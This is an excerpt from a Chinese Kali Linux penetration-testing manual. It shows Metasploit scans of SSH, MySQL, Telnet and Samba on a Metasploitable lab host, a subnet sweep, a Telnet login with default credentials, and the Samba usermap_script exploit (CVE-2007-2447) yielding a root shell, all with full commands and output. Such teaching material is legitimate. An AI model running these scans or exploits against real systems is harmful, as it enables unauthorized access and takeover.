在Metasploit中,附带了大量的内置扫描器。使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络的服务信息。本节将介绍使用Metasploit中的辅助模块实现扫描。
【实例4-4】在Metasploit中,扫描目标主机。具体操作步骤如下所示:
(1)启动MSF终端。执行命令如下所示:
root@kali :~# msfconsole
msf>
(2)搜索所有可用的扫描模块。执行命令如下所示:
msf > search scanner
Matching Modules
================
Name Disclosure Date Rank Description
---- -------------------- ----------- ---------------------------------------------
auxiliary/admin/smb/check_dir_file normal SMB Scanner Check File/Directory Utility
auxiliary/bnat/bnat_scan normal BNAT Scanner
auxiliary/gather/citrix_published_applications normal Citrix MetaFrame ICA Published Applications Scanner
auxiliary/gather/enum_dns normal DNS Record Scanner and Enumerator
auxiliary/gather/natpmp_external_address normal NAT-PMP External Address Scanner
auxiliary/gather/windows_deployment_services_shares normal Microsoft Windows Deployment Services Unattend Gatherer
auxiliary/pro/nexpose normal PRO: Nexpose Scanner Integration
auxiliary/pro/webscan normal PRO: Web Application Scanner
auxiliary/scanner/afp/afp_login normal Apple Filing Protocol Login Utility
auxiliary/scanner/afp/afp_server_info normal Apple Filing Protocol Info Enumerator
auxiliary/scanner/backdoor/energizer_duo_detect normal Energizer DUO Trojan Scanner
auxiliary/scanner/chargen/chargen_probe 1996-02-08 normal Chargen Probe Utility
输出信息显示了,Metasploit中所有可用的扫描模块。这些模块针对各种类型的服务。这里为了缩小查看的范围,搜索SSH服务的扫描模块。
(3)扫描SSH服务的扫描模块。执行命令如下所示:
msf > search scanner/ssh
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ----------- -------------------------------------------
auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal Cerberus FTP Server SFTP Username Enumeration
auxiliary/scanner/ssh/ssh_enumusers normal SSH Username Enumeration
auxiliary/scanner/ssh/ssh_identify_pubkeys normal SSH Public Key Acceptance Scanner
auxiliary/scanner/ssh/ssh_login normal SSH Login Check Scanner
auxiliary/scanner/ssh/ssh_login_pubkey normal SSH Public Key Login Scanner
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
输出的信息,显示了几个有效的SSH模块。现在就可以选择相应的模块,进行扫描了。
(4)使用ssh_version模块扫描SSH服务。执行命令如下所示:
msf > use auxiliary/scanner/ssh/ssh_version
(5)查看ssh_version模块下可配置的选项参数。执行命令如下所示:
msf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
------------ --------------- -------- -----------------------------------------------------------------------------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
输出的信息显示了可配置的模块。从以上结果中,可以看出RHOSTS选项没有配置。
(6)配置RHOSTS选项。执行命令如下所示:
msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
从输出的结果中,可以看到RHOSTS(目标主机地址)选项已经设置为192.168.6.105(Metasploit 2操作系统)。
(7)启动扫描。执行命令如下所示:
msf auxiliary(ssh_version) > exploit
[*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_version) >
从输出的信息中,可以看到目标系统正运行SSH服务,并且版本为SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1。
【实例4-5】扫描MySQL服务器。具体操作步骤如下所示:
(1)登录MSF终端。执行命令如下所示:
root@kali :~# msfconsole
msf>
(2)使用mysql_version模块,并查看该模块中可配置的选项参数。执行命令如下所示:
msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
从输出的信息中,可以看到RHOSTS选项没有配置。此时,配置RHOSTS来指定目标主机的地址。
(3)设置RHOSTS选项,并进行MySQL服务扫描。执行命令如下所示:
msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(mysql_version) > exploit
[*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
从输出的结果中,可以看到目标主机上正在运行的MySQL版本是5.0.51a。
【实例4-6】扫描Telnet服务。具体操作步骤如下所示:
(1)启动MSF终端。执行命令如下所示:
root@kali :~# msfconsole
msf>
(2)使用telnet_version模块,并查看可配置的选项参数。执行命令如下所示:
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
---- --------------- --------------- -----------------------------------------------------------------------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe
USERNAME no The username to authenticate as
从输出的信息中,可以看到有四个必须配置选项。其中三个选项已经配置,现在配置RHOSTS选项。
(3)配置RHOSTS选项,并启动扫描。执行命令如下所示:
msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
msf auxiliary(telnet_version) > exploit
[*] 192.168.6.105:23 TELNET _ _ _ _ _ _ ____ \x0a _ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a |_| \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
从以上输出的信息,仅看到一堆文本信息。在这些信息中,没有关于Telnet服务的版本信息。但是显示了登录认证信息,Login with msfadmin/msfadmin to get started。从这条信息中,可以获取到目标主机Telnet服务的用户名和密码。此时可以尝试登录。
(4)登录目标主机的Telnet服务。执行命令如下所示:
root@kali :~# telnet -l msfadmin 192.168.6.105
Trying 192.168.6.105...
Connected to 192.168.6.105.
Escape character is '^]'.
Password: #输入密码msfadmin
Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
以上信息显示了登录Telnet服务的信息。在输出信息中看到msfadmin@metasploitable:~$提示符,则表示成功登录了Telnet服务。此时可以执行一些标准的Linux命令。例如查看多个组的成员,执行命令如下所示:
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
输出信息中显示了msfadmin用户的相关信息。其中,gid表示groups中第1个组账号为该用户的基本组,groups中的其他组账号为该用户的附加组。
在Metasploit中,可以扫描一系列地址。下面以扫描Samba服务器为例,介绍扫描一个网络内运行的Samba服务器。首先演示下,扫描单个地址的Samba服务器。
【实例4-7】演示目标扫描主机地址为192.168.6.105的Samba服务器。具体操作步骤如下所示:
(1)启动MSF终端。执行命令如下所示:
root@kali:~# msfconsole
msf>
(2)使用smb_version模块,并查看该模块可配置的选项参数。执行命令如下所示:
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- ----------- -----------------------------------------------------------------------
RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
(3)配置RHOSTS选项。执行命令如下所示:
msf auxiliary(smb_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105
(4)启动扫描。执行命令如下所示:
msf auxiliary(smb_version) > exploit
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
从输出的信息中,可以看到扫描到正在运行的Samba服务器及其版本。
接下来演示扫描192.168.6.0/24网络内所有运行Sambas服务器的主机。具体操作步骤如下所示:
(1)选择使用smb_version模块。执行命令如下所示:
msf > use auxiliary/scanner/smb/smb_version
(2)配置smb_version模块中可配置的选项参数。执行命令如下所示:
msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24
RHOSTS => 192.168.6.0/24
msf auxiliary(smb_version) > set THREADS 255
THREADS => 255
(3)启动扫描。执行命令如下所示:
msf auxiliary(smb_version) > exploit
[*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
[*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW)
[*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
从输出的信息中,可以看到192.168.6.0/24网络内有四台主机上正在运行着Samba服务器。在显示的信息中,可以看到运行Samba服务器的操作系统类型。
【实例4-8】渗透攻击Samba服务器。具体操作步骤如下所示:
(1)启动MSF终端。执行命令如下所示:
root@kali:~# msfconsole
msf>
(2)搜索usermap模块。执行命令如下所示:
msf > search samba/usermap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ----------- -----------------------------------------------
exploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Execution
从输出的信息中,可以看到有个usermap模块。
(3)查看usermap_script模块的详细信息。执行命令如下所示:
msf > info exploit/multi/samba/usermap_script
Name: Samba "username map script" Command Execution
Module: exploit/multi/samba/usermap_script
Platform: Unix
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
Payload information:
Space: 1024
Description:
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands. No authentication is needed to exploit this vulnerability
since this option is used to map usernames prior to authentication!
References:
http://cvedetails.com/cve/2007-2447/
http://www.osvdb.org/34700
http://www.securityfocus.com/bid/23972
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
http://samba.org/samba/security/CVE-2007-2447.html
输出的信息显示了usermap_script模块的详细信息。从输出信息中可以看到,该模块仅需要配置RHOST选项就可以了。这里不需要加载任何攻击载荷,就可以自动使用一个Linux命令Shell。
(3)选择使用usermap_script模块,并设置RHOST选项。执行命令如下所示:
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.6.105
RHOST => 192.168.6.105
(4)启动渗透攻击。执行命令如下所示:
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IwmN37I0D3cTGJhv;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IwmN37I0D3cTGJhv\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800
从输出的信息中,可以看到成功的打开了一个会话。这表示已成功攻击了目标主机。此时用户可以执行一些Linux命令,查看目标主机的相关信息。如下所示:
whoami #查看当前登录系统的用户
root
从输出的信息中,可以看到当前目标系统登录的用户名是root。如果想了解该用户的详细信息,可以使用id命令查看。如下所示:
id #查看当前登录用户的信息
uid=0(root) gid=0(root)
输出的信息表上root用户属于root组,并且其UID和GID都为0。
本文选自:Kail Linux渗透测试实训手册大学霸内部资料,转载请注明出处,尊重技术尊重IT人!